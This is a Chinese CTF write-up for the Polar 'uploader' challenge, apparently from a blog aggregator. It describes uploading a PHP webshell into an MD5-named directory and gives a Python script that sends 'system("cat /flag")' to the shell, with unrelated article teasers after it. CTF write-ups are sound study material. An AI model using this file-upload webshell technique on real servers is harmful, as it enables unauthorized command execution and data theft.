Polar Web【简单】uploader

Polar Web【简单】uploader

Contents

  • Polar Web【简单】uploader
    • 思路
    • EXP
    • 运行&总结

思路

本题的重点仍是文件上传,只是期间需要加上一步自主的文件上传。

  1. 打开环境,审查代码,发现在上传文件之后会自动生成一个以MD5散列值命名的目录,并将上传的文件置于其中。
  2. 因此考虑自主设计上传逻辑,笔者采用的是脚本编写的方式。
  3. 上传成功后,找出所需的MD5散列值,对 url 进行拼接,随后进行 Webshell 交互,此处依然采用了脚本的方式。

index

EXP

import requestsdef exe(url):command = 'system("cat /flag");'data = {'cmd': command}resp = requests.post(url=url, data=data)if resp:out = resp.content.decode('utf8')# print(out)print(out[out.rindex('flag'):out.rindex("?")])else:print("Nothing...")def upload_file(url, file):with open(file, 'rb') as f:files = {"file": f}resp = requests.post(url=url, files=files)if resp:print("Okk")print(resp.content.decode('utf8'))else:print("No")if __name__ == '__main__':u = 'http://~.www.polarctf.com:8090/[your_directory]/sh.php'# # 先运行这一部分拿到上传文件所在的新生成目录# f = "sh.php"# upload_file(u, f)# 拷贝了[your_directory]部分,索引到shell文件并拼接到url后,运行此函数exe(url=u)

运行&总结

upload
run

  • 借以此题,重温python脚本上传文件的实现方式
  • 再次练习使用python脚本实现Webshell的简易版交互






敬,不完美的明天

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/848904.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

赶紧收藏!2024 年最常见 20道 Kafka面试题(九)

上一篇地址:赶紧收藏!2024 年最常见 20道 Kafka面试题(八)-CSDN博客 十七、如果消费者故障,出现活锁问题如何解决? 在Kafka中,消费者故障可能导致活锁问题,特别是在消费者组中的多…

COMPUTEX 2024 国际电脑展即将举行,英伟达宣布将Copilot+引入RTX系列设备,赋能游戏本AI助理

COMPUTEX 2024 国际电脑展即将于2024年6月4日至7日在台北南港展览馆1馆及2馆盛大举行。作为业界瞩目的盛会,本次展会不仅吸引了全球各地的科技爱好者,更迎来了AMD CEO苏姿丰博士和NVIDIA首席执行官黄仁勋的精彩演讲。 在展会的开幕之际,图形…

c#之字符串的操作

//字符串拼接 //string naem "张三"; //string desc "学生"; //StringBuilder sbnew StringBuilder(); //sb.Append(naem); //sb.Append(desc); //Console.WriteLine(sb);//string.Format() 格式化字符串 //string name "张三"; //string des…

查看服务器端口是否打开,如何查看服务器端口是否打开

查看服务器端口是否打开,是确保服务器正常运行和网络通信畅通的关键步骤。以下是几个有力的方法,帮助你快速、准确地判断端口状态。 首先,你可以使用telnet命令来检测端口的连通性。telnet是一个网络协议,可以用于远程登录和管理网…

如何重新设置路由器密码

一、如果记得路由器的原密码 1.查看路由器的ip windows查看:电脑先连上网 打开命令提示符(按下Windows键,然后输入cmd并按回车)在命令提示符窗口中,输入ipconfig并按回车。查找“默认网关”或“Default Gateway”所对…

大数据与数据科学的学科边界

大数据和数据科学是两个紧密相关但又不完全相同的学科。它们都关注数据的收集、管理、分析和解释,但侧重点有所不同。 大数据主要关注处理和分析大规模数据集的技术和方法。它涉及到数据存储、数据处理、数据挖掘、数据可视化和分布式计算等方面的技术。大数据的目…

如何将 MySQL 数据库共享给他人?

文章目录 共享所有数据库给他人1. 连接到 MySQL 数据库2. 选择要使用的数据库3. 修改连接所需的 host4. 刷新权限 共享部分数据库给他人1. 创建用户2. 授权3. 刷新权限 结语 🎉欢迎来到Java学习路线专栏~探索Java中的静态变量与实例变量 ☆* o(≧▽≦)o *☆嗨~我是I…

张大哥笔记:高考,万人过独木桥,你怕不怕摔倒?

今天刷到一个新闻:宁夏煤业计划招600名挖煤的井下操作工,要求大学学历!结果却吸引了7900人来报名!我都惊呆了,什么时候挖煤都要求这么高的学历了,那读书到底起啥作用! 如果一个人读书读到大学后…

求二叉树第k层结点的个数--c++【做题记录】

【问题描述】 求出二叉树的第K层结点个数。 【输入形式】 第一行输入扩展二叉树树的前序遍历序列 第二行输入k值,(k>0)。 【输出形式】 输出树的第K层结点个数。 【样例输入】 ab##cd##e## 2 【样例输出】 2 【样例说明】 上述输入对应以下结构的二叉树&#xff…

1.Rust安装

目录 一、安装1.1 在Windows上安装1.2 在Linux下安装 二、包管理工具三、Hello World3.1 安装IDE3.2 输出Hello World 一、安装 1.1 在Windows上安装 点击页面 安装 Rust - Rust 程序设计语言 (rust-lang.org),选择"下载RUSTUP-INIT.EXE(64位)&qu…

Vue——子级向父级使用props传递数据(函数)

文章目录 前言原理案例效果演示 前言 看到这个标题,相信很多人会说我,你之前博客写的父级向子级中传递数据使用的是props,然后说的子级向父级传递数据则是用的$emit。 并且还说了对于String、数组Array,只能是父级使用props传递…

矩阵链相乘(动态规划法)

问题分析 矩阵链相乘问题是一个经典的动态规划问题。给定一系列矩阵,目标是找到一种最优的乘法顺序,使得所有矩阵相乘所需的标量乘法次数最少。矩阵链相乘问题的关键在于利用动态规划来避免重复计算子问题。 算法设计 定义子问题:设 &…

代码随想录第三十天打卡|332.重新安排行程, 51. N皇后, 37. 解数独

332.重新安排行程&#xff08;可跳过&#xff09; 代码随想录 class Solution { public:unordered_map<string,map<string,int>>mp;bool backtracking(int ticketNum,vector<string>&res){if (res.size()ticketNum1)return true;for (pair<const str…

【2024.06.06 晴-周四】

今日学习情况&#xff1a; 感想&#xff1a;早上去听了讲座&#xff0c;总共有十次&#xff0c;已达标。下午在做导师安排的一个python作业&#xff0c;遇到了BUG&#xff0c;还是解决了。还是得写个计划&#xff0c;要不然实习回来就很累&#xff0c;不想学习。明日计划&…

HTTP-一

一、超文本传输 1. 文本传输 > 字符串(能在utf8/gbk等码表上找到合法字符) 2. 超文本传输 > 不仅仅是字符串,还可以携带一些图片,特殊得格式 HTML 3. 富文本 word http0.9 -> http1.0 -> http1.1 -> http2.0 -> http3.0 http1.0是主流版本 2.0 和…

Vue性能的评估指标

Vue性能的评估指标通常包括&#xff1a; 首屏加载时间&#xff08;First Contentful Paint, FCP&#xff09; 首次可交互时间&#xff08;First Meaningful Paint, FMP&#xff09; 页面完全加载时间&#xff08;DOMContentLoaded&#xff09; 布局变化次数&#xff08;Layo…

redis安裝启动

1、下载redis解压 https://github.com/tporadowski/redis/releases 2、打开cmd&#xff0c;切换到解压的文件夹 3、redis-server.exe redis.windows.conf 启动redis redis可通过命令行输入config set requirepass password和直接修改redis.config文件中修改 requirepass 来设…

英伟达再创历史,市值超越苹果,跃居全球第二大上市公司

进入2024年&#xff0c;英伟达股价依然突飞猛进。 今天凌晨&#xff0c;英伟达凭借其在AI领域强劲的创新能力和市场势头&#xff0c;达成了历史性的里程碑——市值首次突破3万亿美元&#xff0c;成功超越苹果&#xff0c;成为全球市值第二大上市公司。 排名仅次于微软。 英伟达…

f1c100s 荔枝派 系统移植

一。交叉编译环境配置 1.1下载交叉工具链&#xff1a;https://releases.linaro.org/components/toolchain/binaries/7.2-2017.11/arm-linux-gnueabi/ 1.2解压安装 在home目录下新建 工程目录&#xff1a;mkdir f1c100s_project 将windows下的gcc-linaro-7.2.1-2017.11-x86…

每日一题34:数据分组之查找每个员工花费的总时间

一、每日一题 表: Employees ------------------- | Column Name | Type | ------------------- | emp_id | int | | event_day | date | | in_time | int | | out_time | int | ------------------- 在 SQL 中&#xff0c;(emp_id, event_day, in_time) 是…